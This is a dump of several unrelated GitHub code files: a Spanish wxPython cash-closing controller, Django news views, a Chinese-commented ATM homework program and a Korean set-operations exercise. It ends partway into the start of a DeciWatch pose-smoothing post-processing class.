+{"seq_id":"10509105667","text":"# -*- coding: utf-8 -*-\nimport wx\nfrom datetime import datetime\nfrom vistas.frame_caja_cerrar import FrameCerrarCaja\nfrom validadores.validarNoVacio import NoVacio\n\nfrom modelos.modelCajas import ModeloCajas\nfrom modelos.modelMovimientos import ModeloMovimientos\nfrom modelos.modelMovimientoClientes import ModeloMovimientoClientes\nfrom modelos.modelReportes import ModeloReportes\n\nclass ControladorCerrarCaja:\n\tmdlCaj = ModeloCajas()\n\tmdlMov = ModeloMovimientos()\n\tmdlMovCli = ModeloMovimientoClientes()\n\n\tdef __init__(self, parent, infoCaja):\n\t\tself.parent = parent\n\t\tself.infoCaja = infoCaja\n\n\tdef run(self):\n\t\tself.frame = FrameCerrarCaja(self.parent)\n\t\tself.capturarEventos()\n\t\tself.cargarDatos()\n\t\tself.cargarValidadores()\n\t\trta = self.frame.ShowModal()\n\t\tif rta == wx.ID_OK:\n\t\t\tself.Aceptar()\n\n\tdef capturarEventos(self):\n\t\tself.frame.btn_buscar.Bind(wx.EVT_BUTTON, self.Buscar)\n\n\tdef cargarValidadores(self):\n\t\tself.frame.tc_dir.SetValidator(NoVacio())\n\n\tdef cargarDatos(self):\n\t\tself.mdlMov.mcam_anio = self.infoCaja['campAnio']\n\t\tself.mdlMov.mcam_num = self.infoCaja['campNum']\n\t\tself.mdlMov.mcaj_numero = self.infoCaja['numero']\n\n\t\tself.mdlMovCli.mcam_anio = self.infoCaja['campAnio']\n\t\tself.mdlMovCli.mcam_num = self.infoCaja['campNum']\n\t\tself.mdlMovCli.mcaj_numero = self.infoCaja['numero']\n\n\t\tingr = self.mdlMov.totalIngresos() + self.mdlMovCli.totalIngresosClientes()\n\t\tegre = self.mdlMov.totalEgresos()\n\t\tttal = ingr - egre\n\n\t\tself.frame.tc_ingresos.SetValue(str(ingr))\n\t\tself.frame.tc_egresos.SetValue(str(egre))\n\t\tself.frame.tc_total.SetValue(str(ttal))\n\n\tdef Aceptar(self):\n\t\tself.mdlCaj.ccam_anio = self.infoCaja['campAnio']\n\t\tself.mdlCaj.ccam_num = self.infoCaja['campNum']\n\t\tself.mdlCaj.caj_numero = self.infoCaja['numero']\n\t\tself.mdlCaj.close()\n\n\t\tmdlRep = ModeloReportes(self.infoCaja)\n\t\tnomArch = '/Reporte de caja del %s.xls' % (datetime.today().strftime(\"%d-%m-%Y\"))\n\t\tmdlRep.dir = self.frame.tc_dir.GetValue() + nomArch\n\t\ttry:\n\t\t\tmdlRep.generar_libro()\n\t\t\twx.MessageBox(\"Reporte generado exitosamente\", \"Enhorabuena\")\n\t\texcept:\n\t\t\twx.MessageBox(\"No se ha podido generar el reporte\", \"Ups!\")\n\n\n\t\"Eventos de ventana\"\n\tdef Buscar(self, event):\n\t\tdialog = wx.DirDialog(self.frame, \"SELECCIONAR CARPETA DE DESTINO:\",style=wx.DD_DEFAULT_STYLE | wx.DD_NEW_DIR_BUTTON)\n\t\trta = dialog.ShowModal()\n\t\tif rta == wx.ID_OK:\n\t\t\tself.frame.tc_dir.SetValue(dialog.GetPath())\n\t\tdialog.Destroy()\n","repo_name":"ihleonel/Proyecto-Distribuidora-304","sub_path":"proxl-caja/controladores/cerrar.py","file_name":"cerrar.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33110727838","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom .forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\n\n# Create your views here.\n\ndef BeritaView(request):\n    if request.GET:\n        keyword = request.GET[\"search\"]\n        data = {\n            \"title\" : \"Berita Terkini\",\n            'beritas' : Berita.objects.filter(judul__contains=keyword),\n            'keyword' : keyword\n        }\n        return render(request, 'berita.html', data)\n    else:\n        kategorikkp = Kategori.objects.get(kategori = \"Berita KKP\")\n        beritakkp = Berita.objects.filter(kategori_id__kategori = \"Berita KKP\").order_by('-id')[:6]\n        kategorippn = Kategori.objects.get(kategori = \"Berita Seputar PPN Karangantu\")\n        beritappn = Berita.objects.filter(kategori_id__kategori = \"Berita Seputar PPN Karangantu\").order_by('-id')[:6]\n        kategoriumum = Kategori.objects.get(kategori = \"Berita Umum Kelautan dan Perikanan\")\n        beritaumum = Berita.objects.filter(kategori_id__kategori = \"Berita Umum Kelautan dan Perikanan\").order_by('-id')[:6]\n        data = {\n            \"title\" : \"Berita Terkini\",\n            \"beritakkps\" : beritakkp,\n            \"kategorikkp\" : kategorikkp,\n            \"beritappns\" : beritappn,\n            \"kategorippn\" : kategorippn,\n            \"beritaumums\" : beritaumum,\n            \"kategoriumum\" : kategoriumum,\n        }\n    return render(request, 'berita.html', data)\n\ndef detailBerita(request, pk):\n    detail = Berita.objects.get(id = pk)\n    data = {\n        \"title\" : 'Detail Berita',\n        \"detail\" : detail\n    }\n    return render(request, 'detail.html', data)\n\ndef beritaCategory(request, cat):\n    news = Berita.objects.filter(kategori_id__slug = cat).order_by('-id')\n    category = Kategori.objects.get(slug = cat)\n    data = {\n        \"title\" : \"Kategori\",\n        \"news\" : news,\n        \"cats\" : category\n    }\n    return render(request, 'kategori.html', data) \n\n@login_required(login_url=settings.LOGIN_URL)\ndef tambahBerita(request):\n    if request.POST:\n        form = FormBerita(request.POST, request.FILES)\n        if form.is_valid():\n            form.save()\n            request.session['alert'] = \"Berhasil menambahkan berita!\"\n            data = {\n                \"title\" : \"Input Data Berita\",\n                \"form\" : form,\n                \"addedNews\" : Berita.objects.latest('id')\n            }\n            return render(request, 'tambahberita.html', data)\n\n    else:\n        data = {\n            \"title\" : \"Input Data Berita\",\n            \"form\" : FormBerita()\n        }\n    return render(request, 'tambahberita.html', data)\n\n@login_required(login_url=settings.LOGIN_URL)\ndef editBerita(request, pk):\n    beritaedit = Berita.objects.get(id = pk)\n    if request.POST:\n        if request.FILES:\n            beritaedit.cover.delete()\n        form = FormBerita(request.POST, request.FILES, instance=beritaedit)\n        if form.is_valid():\n            form.save()\n            request.session['alert'] = \"Berhasil mengubah berita!\"\n            data = {\n                \"title\" : \"Edit Berita\",\n                \"form\" : FormBerita(),\n                \"beritaEdit\" : beritaedit\n            }\n            return render(request, 'editberita.html', data)\n    else:     \n        data = {\n            \"title\" : \"Edit Berita\",\n            \"form\" : FormBerita(instance=beritaedit),\n            \"beritaEdit\" : beritaedit\n        }\n    return render(request, 'editberita.html', data)\n\n@login_required(login_url=settings.LOGIN_URL)\ndef hapusBerita(request, pk):\n    berita = Berita.objects.get(id=pk)\n    berita.cover.delete()\n    berita.delete()\n    request.session['alert'] = \"Berhasil menghapus berita!\"\n\n    return redirect(\"/berita/\")","repo_name":"farihsyamsudin/projectuas","sub_path":"news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40173422369","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n__author__ = \"Elijah\"\n__date__ = \"2017/6/24 20:28\"\n\n# Readme\n# Author: Elijah\n# Time: 2017-06-24\n# Function:ATM\n#     1. 指定最大透支额度\n#     2. 可取款\n#     3. 定期还款（每月指定日期还款，如15号）\n#     4. 可存款\n#     5. 定期出账单\n#     6. 支持多用户登陆，用户间转帐\n#     7. 支持多用户\n#     8. 管理员可添加账户、指定用户额度、冻结用户等\n# Need Environment：Python 3.5 、PyCharm\n# Move：\n# Feature：\n# Important py file：re、datetime\n# How To：Execute directly\n# 个人发挥：用模块化的编程思想\n# 个人博客地址：http://blog.csdn.net/dragonyangang/article/details/74071248\n\n# 导入\nimport datetime\nimport re\n\n# 全局变量\nglobal_var = {'user_info': {},\n              'user_name': '',\n              'user_locked': [],\n              'user_bill': [],\n              'opera_num': '', }\n\n\n# 函数定义\ndef login():\n    '''\n    功能选择界面\n    :return:\n    '''\n    welcome_str = '''\n                                      欢迎来到ATM自动取款机\n------------------------------------------------------------------------------------------------------\n请选择您的操作：\n1、用户登陆\n2、管理员登陆\n3、退出\n    '''\n    while True:\n        print(welcome_str)\n        opera_num = input('请输入操作编号1-3：\\n>>>').strip()\n        if opera_num.isdigit() and 0 < int(opera_num) < 4:\n            return opera_num\n        else:\n            print('你输入的操作编号有误！请重新输入！')\n            continue\n\n\ndef read_info(user_info):\n    '''\n    将用户信息读至内存\n    :return:info_dict\n    '''\n    info_list = []\n    info_dict = {}\n    with open(user_info, mode='r', encoding='utf-8') as f:\n        for line in f:\n            info_list.clear()\n            # 密码\n            info_list.append(line.split(',')[1])\n            # 余额\n            info_list.append(line.split(',')[2])\n            # 额度\n            info_list.append(line.split(',')[3])\n            # 欠款\n            info_list.append(line.split(',')[4])\n            # 用户名为字典key\n            info_dict[line.split(',')[0]] = info_list.copy()\n        return info_dict\n\n\ndef write_info(info_dict, user_info):\n    '''\n    将内存写至用户文件\n    :param info_dict:\n    :param user_info:\n    :return:\n    '''\n    with open(user_info, mode='w', encoding='utf-8') as f:\n        for k, v in info_dict.items():\n            f.write(k + ',' + v[0] + ',' + v[1] + ',' + v[2] + ',' + v[3] + ',\\n')\n\n\ndef read_ubill(username):\n    '''\n    将用户账单读取到内存\n    :param username:\n    :return:\n    '''\n    bill_name = username + '_bill.txt'\n    bill_list = []\n    with open(bill_name, mode='r', encoding='utf-8') as f:\n        bill_list.clear()\n        for line in f:\n            # 日期\n            bill_list.append(line.split(',')[0])\n            # 存款\n            bill_list.append(line.split(',')[1])\n            # 取款\n            bill_list.append(line.split(',')[2])\n            # 余额\n            bill_list.append(line.split(',')[3])\n        return bill_list\n\n\ndef write_ubill(bill_list, username):\n    '''\n    将用户账单写回文件\n    :param bill_list:\n    :param username:\n    :return:\n    '''\n    str = ''\n    bill_name = username + '_bill.txt'\n    with open(bill_name, mode='w', encoding='utf-8') as f:\n        for index, i in enumerate(bill_list):\n            if (index + 1) % 4 == 0:\n                str = str + i + ',\\n'\n            else:\n                str = str + i + ','\n        f.write(str)\n\n\ndef read_locked(user_locked):\n    '''\n    将锁定用户读至内存\n    :param user_locked:\n    :return:\n    '''\n    with open(user_locked, mode='r', encoding='utf-8') as f:\n        locked = f.read()\n        locked_list = locked.split(',')\n        return locked_list\n\n\ndef write_locked(locked_list):\n    '''\n    将内存写至锁定用户文件\n    :return:\n    '''\n    str = ''\n    with open('user_locked.txt', mode='w', encoding='utf-8') as f_lock:\n        for i in locked_list:\n            str = str + i + ','\n        f_lock.write(str)\n\n\ndef user_operation(info_dict, locked_list):\n    '''\n    用户操作\n    :param info_dict:\n    :param locked_list:\n    :return: choice_num\n    '''\n    count = 0\n    flag = False\n    while True:\n        username = input('请输入用户名(或者输入q退出):\\n>>>').strip()\n        if username.lower() == 'q':\n            return ('6 , ')\n        password = input('请输入密码:\\n>>>').strip()\n        # 判断用户名是否被冻结\n        if username in locked_list:\n            print('对不起，您输入的用户名已经被冻结，请联系管理员！')\n            continue\n        for k, v in info_dict.items():\n            if k == username and v[0] == password:\n                welcome_str = '''\n            欢迎来到ATM自动取款机\n-----------------------------------------------\n1、存款\n2、取款\n3、转账\n4、显示账单\n5、修改密码\n6、退出\n                '''\n                print(welcome_str)\n                while True:\n                    choice_num = input('\\n请输入操作编号1-6：\\n>>>').strip()\n                    if choice_num.isdigit() and 0 < int(choice_num) < 7:\n                        return (choice_num + ',' + username)\n                    else:\n                        print('对不起，您输入的操作编号有误，请重新输入！')\n                        continue\n            else:\n                continue\n        if flag:\n            break\n        count += 1\n        if count > 3:\n            if username in info_dict.keys():\n                locked_list.append(username)\n                print('对不起，您登陆失败的次数过多，该用户已经被冻结！')\n                continue\n        else:\n            print('对不起，您输入的用户名或密码有误，请重新输入！')\n            continue\n\n\ndef is_debt(info_dict, bill_list, username):\n    '''\n    检查用户是否有欠款\n    :param info_dict:\n    :param bill_list:\n    :param username:\n    :return:\n    '''\n    if (int(str(datetime.date.today()).split('-')[2]) == 1) and (int(info_dict[username][3]) > 0):\n        if (int(info_dict[username][1]) - int(info_dict[username][3])) >= 0:\n            debt_num = info_dict[username][3]\n            info_dict[username][1] = str(int(info_dict[username][1]) - int(info_dict[username][3]))\n            info_dict[username][3] = '0'\n            # 将记录写入用户账单内存\n            bill_list.append(str(datetime.date.today()))\n            bill_list.append('0')\n            bill_list.append(debt_num)\n            bill_list.append(info_dict[username][1])\n            print('您好，今天的日期是' + str(datetime.date.today()) + ',今日为还款日，系统已经自动为您还款！' +\n                  '目前您的余额为：' + info_dict[username][1])\n        else:\n            print('您好，今天的日期是' + str(datetime.date.today()) +\n                  ',今日为还款日，您的余额不足以还清欠款！请及时存款还款！\\n目前您的余额为：' + info_dict[username][1])\n    elif (int(str(datetime.date.today()).split('-')[2]) < 15) and (int(info_dict[username][3]) > 0):\n        print('您好，今天的日期是' + str(datetime.date.today()) + '\\n您目前欠款金额为：' + info_dict[username][3] +\n              ',\\n请在本月15日前还清欠款，否则系统将自动还款！')\n\n\ndef admin_operation():\n    '''\n    管理员操作：默认管理员用户名：admin，密码：admin123\n    :return:\n    '''\n    while True:\n        username = input('请输入管理员用户名，默认admin,(或者输入q退出):\\n>>>').strip()\n        if username.lower() == 'q':\n            break\n        password = input('请输入管理员密码，默认admin123:\\n>>>').strip()\n        if username == 'admin' and password == 'admin123':\n            welcome_str = '''\n    欢迎来到ATM自动取款机-管理员功能区\n-----------------------------------------------\n1、添加用户\n2、冻结用户\n3、设定用户额度\n4、退出\n            '''\n            print(welcome_str)\n            while True:\n                choice_num = input('\\n请输入操作编号1-4：\\n>>>').strip()\n                if choice_num.isdigit() and 0 < int(choice_num) < 5:\n                    return choice_num\n                else:\n                    print('对不起，您输入的操作编号有误，请重新输入！')\n                    continue\n        else:\n            continue\n\n\ndef deposit_money(info_dict, bill_list, username):\n    '''\n    存款\n    :param info_dict:\n    :return:\n    '''\n    while True:\n        deposit_num = input('请输入存款金额(或者输入q退出)：\\n>>>').strip()\n        if deposit_num.isdigit():\n            print('当前余额为：' + info_dict[username][1] + '\\n存入后余额为：' + str(int(info_dict[username][1]) + int(deposit_num)))\n            is_sure = input('是否确认存款(y/n)?\\n>>>').strip()\n            if is_sure.lower() == 'y':\n                # 将用户字典余额刷新至内存\n                info_dict[username][1] = str(int(info_dict[username][1]) + int(deposit_num))\n                # 将记录写入用户账单内存\n                bill_list.append(str(datetime.date.today()))\n                bill_list.append(deposit_num)\n                bill_list.append('0')\n                bill_list.append(info_dict[username][1])\n            elif is_sure.lower() == 'n':\n                break\n            else:\n                print('输入有误，请重新确认！')\n                continue\n        elif deposit_num.lower() == 'q':\n            break\n        else:\n            print('存款金额输入有误，请重新输入！')\n            continue\n\n\ndef draw_money(info_dict, bill_list, username):\n    '''\n    取款\n    :return:\n    '''\n    while True:\n        draw_num = input('请输入取款金额(或者输入q退出)：\\n>>>').strip()\n        if draw_num.isdigit() and ((int(info_dict[username][1]) + int(info_dict[username][2]) - int(draw_num)) >= 0):\n            print('当前余额为：' + info_dict[username][1] + '\\n取款后后余额为：' + str(int(info_dict[username][1]) - int(draw_num)))\n            is_sure = input('是否确认取款(y/n)?\\n>>>').strip()\n            if is_sure.lower() == 'y':\n                # 将用户字典余额刷新至内存-余额不足情况\n                if (int(info_dict[username][1]) < int(draw_num) < (\n                            int(info_dict[username][1]) + int(info_dict[username][3]))):\n                    info_dict[username][1] = '0'\n                    info_dict[username][3] = str(int(draw_num) - int(info_dict[username][1]))\n                    # 将记录写入用户账单内存\n                    bill_list.append(str(datetime.date.today()))\n                    bill_list.append('0')\n                    bill_list.append(draw_num)\n                    bill_list.append('0')\n                # 将用户字典余额刷新至内存-余额足够情况\n                elif (int(info_dict[username][1]) >= int(draw_num)):\n                    info_dict[username][1] = str(int(info_dict[username][1]) - int(draw_num))\n                    # 将记录写入用户账单内存\n                    bill_list.append(str(datetime.date.today()))\n                    bill_list.append('0')\n                    bill_list.append(draw_num)\n                    bill_list.append(str(int(info_dict[username][1])))\n            elif is_sure.lower() == 'n':\n                break\n            else:\n                print('输入有误，请重新确认！\\n')\n                continue\n        elif draw_num.lower() == 'q':\n            break\n        elif draw_num.isdigit() and ((int(info_dict[username][1]) + int(info_dict[username][2] - int(draw_num))) < 0):\n            print('对不起，取款金额大于当前余额与最大额度之和，请重新输入！\\n用户：' + username +\n                  ' 当前余额为：' + info_dict[username][1] + '\\n')\n            continue\n        else:\n            print('取款金额输入有误，请重新输入！\\n')\n            continue\n\n\ndef trans_money(info_dict, bill_list, username):\n    '''\n    转账\n    :param info_dict:\n    :param bill_list:\n    :param username:\n    :return:\n    '''\n    while True:\n        for index, i in enumerate(info_dict.keys()):\n            if not i == username:\n                if (index + 1) % 5 == 0:\n                    print(str(i) + '\\n', end='')\n                else:\n                    print(str(i) + '、', end='')\n        trans_choice = input('\\n请输入向哪位用户转账(或者输入q退出)：\\n>>>').strip()\n        if trans_choice in info_dict.keys():\n            trans_num = input('请输入转账金额:\\n>>>').strip()\n            if (trans_num.isdigit()) and (int(trans_num) <= int(info_dict[username][2])):\n                is_sure = input('是否确定向用户 ' + trans_choice + ' 转账：' + trans_num + ' ? (y/n)\\n>>>')\n                if is_sure.lower() == 'y':\n                    # 将双方用户字典余额刷新至内存\n                    info_dict[trans_choice][1] = str(int(info_dict[trans_choice][1]) + int(trans_num))\n                    info_dict[username][1] = str(int(info_dict[username][1]) - int(trans_num))\n                    # 将记录写入此用户账单内存\n                    bill_list.append(str(datetime.date.today()))\n                    bill_list.append('0')\n                    bill_list.append(trans_num)\n                    bill_list.append(str(int(info_dict[username][1])))\n                    # 将记录写入对方用户账单文件\n                    trans_name = trans_choice + '_bill.txt'\n                    with open(trans_name, mode='w', encoding='utf-8') as f:\n                        f.write(str(datetime.date.today()) + ',' + trans_num + ',' + '0' + ',' + str(\n                            info_dict[trans_choice][1]) + ',')\n                    print('转账成功！')\n                elif is_sure.lower() == 'n':\n                    continue\n                else:\n                    print('输入有误，请重新输入！\\n')\n                    continue\n            else:\n                print('对不起，您输入的金额有误或超出现有余额，请重新输入！\\n')\n                continue\n        elif trans_choice.lower() == 'q':\n            break\n        else:\n            print('对不起，你输入的用户名有误，请重新输入！\\n')\n            continue\n\n\ndef show_bill(username):\n    '''\n    显示账单\n    :return:\n    '''\n    while True:\n        choice_bill = input('\\n请输入查询的账单年月,如2017-05(或者输入q退出)：\\n>>>').strip()\n        if re.match(r\"^[0-9]{6}\", choice_bill.replace('-', '')):\n            print(choice_bill.rjust(15, '-') + ' ' + '用户:' + username + ' 账单明细'.ljust(15, '-'))\n            print('交易日期 | 存款金额 | 取款金额 | 余额')\n            bill_name = username + '_bill.txt'\n            with open(bill_name, mode='r', encoding='utf-8') as f:\n                for line in f:\n                    if line.startswith(choice_bill):\n                        print(line.replace(',', '     '), end=\"\")\n        elif choice_bill.lower() == 'q':\n            break\n        else:\n            print('对不起，您输入的查询账单年月有误，请重新输入！')\n            continue\n\n\ndef change_pwd(info_dict, username):\n    '''\n    修改用户密码\n    :return:\n    '''\n    flag = False\n    while True:\n        for k, v in info_dict.items():\n            if k == username:\n                old_pwd = input('请输入用户 ' + username + '原密码：\\n>>>').strip()\n                if old_pwd == v[0]:\n                    new_pwd = input('请输入新密码：\\n>>>').strip()\n                    v[0] = new_pwd\n                    print('密码修改成功！')\n                    flag = True\n                    break\n                else:\n                    print('对不起，您输入的原密码不正确，请重新输入！')\n                    break\n            else:\n                continue\n        if flag:\n            break\n\n\ndef add_user(info_dict):\n    '''\n    添加用户\n    :return:\n    '''\n    new_list = []\n    while True:\n        new_user = input('请输入想要添加的用户名(或者输入q退出)：\\n>>>').strip()\n        if new_user.lower() == 'q':\n            break\n        if new_user in info_dict.keys():\n            print('对不起，此用户名已经存在！请重新输入！')\n            continue\n        else:\n            new_pwd = input('请设置用户 ' + new_user + '密码：\\n>>>').strip()\n            new_list.append(new_pwd)\n            new_list.append('0')\n            new_list.append('10000')\n            new_list.append('0')\n            info_dict[new_user] = new_list.copy()\n            print('用户 ' + new_user + '添加成功！默认用户额度为10000！')\n\n\ndef freeze_user(info_dict, locked_list):\n    '''\n    冻结用户\n    :param info_dict:\n    :param locked_list:\n    :return:\n    '''\n    while True:\n        user_lock = input('请输入要冻结的用户名(或者输入q退出):\\n>>>').strip()\n        if user_lock in info_dict.keys():\n            is_sure = input('确认要冻结用户 ' + user_lock + ' ? (y/n)').strip()\n            if is_sure.lower() == 'y':\n                locked_list.append(user_lock)\n            elif is_sure.lower() == 'n':\n                break\n            else:\n                print('您的输入有误，请重新输入！')\n                continue\n        elif user_lock.lower() == 'q':\n            break\n        else:\n            print('对不起，您输入的用户名不存在，请重新输入！')\n            continue\n\n\ndef set_limit(info_dict):\n    '''\n    指定用户额度\n    :return:\n    '''\n\n    flag = False\n    while True:\n        choice_user = input('请输入想要修改密码的用户名(或者输入q退出)：\\n>>>').strip()\n        if choice_user.lower() == 'q':\n            break\n        for k, v in info_dict.items():\n            if k == choice_user:\n                old_pwd = input('请输入用户 ' + choice_user + '密码：\\n>>>').strip()\n                if old_pwd == v[0]:\n                    new_limit = input('请输入用户新额度：\\n>>>').strip()\n                    v[2] = new_limit\n                    print('用户额度修改成功！')\n                    flag = True\n                    break\n                else:\n                    print('对不起，您输入的原密码不正确，请重新输入！')\n                    break\n            else:\n                continue\n        if flag:\n            break\n\n\n# 主函数\nif __name__ == '__main__':\n    while True:\n        # 将用户信息内容取到全局变量\n        global_var['user_info'] = read_info('user_info.txt')\n        global_var['user_locked'] = read_locked('user_locked.txt')\n        # 选择用户/管理员登陆\n        login_choice = login()\n        if login_choice.strip() == '1':\n            opera_return = user_operation(global_var['user_info'], global_var['user_locked'])\n            write_locked(global_var['user_locked'])\n            write_info(global_var['user_info'], 'user_info.txt')\n            global_var['opera_num'] = opera_return.split(',')[0]\n            global_var['user_name'] = opera_return.split(',')[1]\n            try:\n                global_var['user_bill'] = read_ubill(global_var['user_name'])\n            except:\n                with open((global_var['user_name'] + '_bill.txt'), mode='w', encoding='utf-8') as f:\n                    f.write('')\n\n            # 用户-存款\n            if global_var['opera_num'].strip() == '1':\n                deposit_money(global_var['user_info'], global_var['user_bill'], global_var['user_name'])\n                write_info(global_var['user_info'], 'user_info.txt')\n                write_ubill(global_var['user_bill'], global_var['user_name'])\n                write_locked(global_var['user_locked'])\n            # 用户-取款\n            elif global_var['opera_num'].strip() == '2':\n                is_debt(global_var['user_info'], global_var['user_bill'], global_var['user_name'])\n                draw_money(global_var['user_info'], global_var['user_bill'], global_var['user_name'])\n                write_info(global_var['user_info'], 'user_info.txt')\n                write_ubill(global_var['user_bill'], global_var['user_name'])\n                # write_locked(global_var['user_locked'])\n            # 用户-转账\n            elif global_var['opera_num'].strip() == '3':\n                trans_money(global_var['user_info'], global_var['user_bill'], global_var['user_name'])\n                write_info(global_var['user_info'], 'user_info.txt')\n                write_ubill(global_var['user_bill'], global_var['user_name'])\n                write_locked(global_var['user_locked'])\n            # 用户-显示账单\n            elif global_var['opera_num'].strip() == '4':\n                show_bill(global_var['user_name'])\n            # 用户-修改密码\n            elif global_var['opera_num'].strip() == '5':\n                change_pwd(global_var['user_info'], global_var['user_name'])\n                write_info(global_var['user_info'], 'user_info.txt')\n            # 用户-退出\n            elif global_var['opera_num'].strip() == '6':\n                print('欢迎您下次光临ATM自动取款机！再见！')\n                exit()\n        elif login_choice.strip() == '2':\n            # 添加用户\n            admin_choice = admin_operation()\n            if admin_choice.strip() == '1':\n                add_user(global_var['user_info'])\n                write_info(global_var['user_info'], 'user_info.txt')\n            # 冻结用户\n            elif admin_choice.strip() == '2':\n                freeze_user(global_var['user_info'], global_var['user_locked'])\n                write_locked(global_var['user_locked'])\n            # 设定用户额度\n            elif admin_choice.strip() == '3':\n                set_limit(global_var['user_info'])\n                write_info(global_var['user_info'], 'user_info.txt')\n            # 退出\n            elif admin_choice.strip() == '4':\n                print('管理程序退出！谢谢光临！')\n                exit()\n        elif login_choice.strip() == '3':\n            print('欢迎您下次光临ATM自动取款机！再见！')\n            exit()\n        else:\n            print('您的输入有误，请重新输入！')\n            continue\n","repo_name":"ElijahYG/python_fullstack-part2","sub_path":"part3-homework_3/homework3_1.py","file_name":"homework3_1.py","file_ext":"py","file_size_in_byte":22581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12609796677","text":"import numpy as np\r\n\r\n####집합_201732049 제현승\r\n#### 중복된 원소 제거하기\r\n\r\na= [1,2,3]\r\nb= [4,5,6]\r\nc= [1,2,3,1,2]\r\nd= [3,3,4,5,6,6,6,7,8,8,9]\r\n\r\nprint(a)\r\nprint(b)\r\nprint(d)\r\n\r\nprint()\r\n\r\n###if not in 으로 중복된 원소 있는지 체크\r\n\r\nnew_c=[]\r\nfor i in c:\r\n    if i not in new_c:\r\n        new_c.append(i)\r\n\r\nprint(new_c)\r\n\r\nnew_d=[]\r\nfor i in d:\r\n    if i not in new_d:\r\n        new_d.append(i)\r\n\r\nprint(new_d)\r\n\r\n\r\n#합집합 구현\r\n#1.겹치는 원소가 없을 경우\r\na= [1,2,3]\r\nb= [4,5,6]\r\nc= a+b\r\nprint(c)\r\n\r\n#2.겹치는 원소가 있을 경우\r\ne = [1,2,3]\r\nf=[2,3,4,5,6]\r\nk=[]\r\nfor i in e:\r\n    if i not in f:\r\n        k.append(i)\r\nprint(k)\r\nk= k+f\r\nprint(k)\r\n\r\n#교집합 구하기\r\na= [1,2,3]\r\nb= [2,3,4,5,6]\r\nc=[]\r\nfor i in a:\r\n    if i in b:\r\n        c.append(i)\r\nprint(c)\r\n\r\n#차집합 구현-겹치는 경우 합집합 구하는 과정의 for문과 동일\r\n#c=a-b ->이렇게 하면 TypeError: unsupported operand type(s) for -: 'list' and 'list'에러 발생\r\na= [1,2,3]\r\nb=[2,3,4,5,6]\r\nc=[]\r\nfor i in a:\r\n    if i not in b:\r\n        c.append(i)\r\nprint(c)\r\n\r\n#차집합-remove 사용\r\na= [1,2,3]\r\nb=[2,3,4,5,6]\r\nc=a+[] #a를 복사\r\nfor i in b:\r\n    if i in a:\r\n        c.remove(i);\r\nprint(c)\r\n\r\n##여집합 구하기 \r\nu = [1,2,3,4,5]\r\na=  [1,2,3]\r\n\r\na_com =[]\r\nfor i in u:\r\n    if i not in a:\r\n        a_com.append(i)\r\nprint(a_com)\r\n\r\n##remove 사용\r\nu = [1,2,3,4,5]\r\na=  [1,2,3]\r\nrest = u + []\r\nfor i in u:\r\n    if i in a:\r\n        rest.remove(i)\r\nprint(rest)\r\n\r\n##소수 알아보기 ※소수: 자기 자신과 1로 밖에 안나누어 지는 숫자, 1은 제외\r\n\r\na =17\r\na_prime = True\r\nfor i in range(2,a):\r\n    if a % i == 0:\r\n        a_prime = False\r\nif a_prime == True:\r\n    print(\"%d는 소수이다.\" %a)\r\nelse:\r\n    print(\"%d는 소수가 아니다.\" %a)\r\n\r\n#약수 찾기\r\na= 24\r\nb= range(1,a)\r\nfactors =[]\r\nfor i in b :\r\n    if a % i ==0:\r\n        factors.append(i)\r\nfactors.append(a)\r\nprint(factors)\r\n\r\n#최대 공약수 찾기\r\n#1. 각 수의 약수를 모두 구한다.\r\n#2. 겹쳐지는 수를 구하여 오름차순으로 정렬한다.\r\n#3. 마지막 숫자가 최대 공약수이다.\r\n\r\n#1\r\na= 24\r\naa= range(1,a)\r\na_factors =[]\r\nfor i in aa :\r\n    if a % i ==0:\r\n        a_factors.append(i)\r\na_factors.append(a)\r\nprint(a_factors)\r\n\r\nb= 36\r\nbb= range(1,b)\r\nb_factors =[]\r\nfor i in bb :\r\n    if b % i ==0:\r\n        b_factors.append(i)\r\nb_factors.append(b)\r\nprint(b_factors)\r\n\r\n#2\r\ncommon= []\r\nfor i in a_factors:\r\n    if i in b_factors:\r\n        common.append(i)\r\n#3\r\ncommon.sort()\r\nprint(common[-1]) #[-1]은 리스트의 마지막 원소를 가르킴\r\n\r\n#최소 공배수 찾기, ※최소 공배수: 두 수의 곱을 최대 공약수로 나눈 수\r\n#1. 두 수의 곱을 구한다.\r\n#2. 두 수의 최대공약수를 구한다.\r\n#3. 두 수의 곱을 최대공약수로 나눈다.\r\n\r\na= 24\r\nb= 36\r\n#1\r\nM= a*b\r\n#2, 최대공약수는 위의 프로그램에서 구함\r\nGCD = common[-1] \r\nLCM = M/GCD\r\nprint('%d 와 %d 의 최소 공배수는 %d이다. ' %(a,b,LCM))\r\n","repo_name":"NeighborDva/Python-Study","sub_path":"인공지능/20220428/수업과제_201732049제현승/20220428_201732049_제현승.py","file_name":"20220428_201732049_제현승.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9665346887","text":"import copy\nimport math\nfrom typing import Optional\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom mmcv.runner import load_checkpoint\nfrom torch import Tensor, nn\n\nfrom mmhuman3d.utils.transforms import (\n    aa_to_rotmat,\n    rot6d_to_rotmat,\n    rotmat_to_aa,\n    rotmat_to_rot6d,\n)\nfrom ..builder import POST_PROCESSING\n\n\n@POST_PROCESSING.register_module(name=['DeciWatchPostProcessing', 'deciwatch'])\nclass DeciWatchPostProcessing:\n    \"\"\"DeciWatchFilter lib is from: https://arxiv.org/abs/2203.08713.\n\n    Args:\n        interval (int): The interval of Visible frames.\n        slide_window_q (int): frames per slide window contains + 1.\n        checkpoint (str): model checkpoint path\n        device (Union[torch.device, str], optional):\n                You can pass a str or torch.device for cpu or gpu render.\n                Defaults to 'cpu'.\n\n    Returns:\n        smoothed poses (np.ndarray, torch.tensor)\n    \"\"\"\n\n    def __init__(self, interval, slide_window_q, checkpoint, device=None):\n        super(DeciWatchPostProcessing, 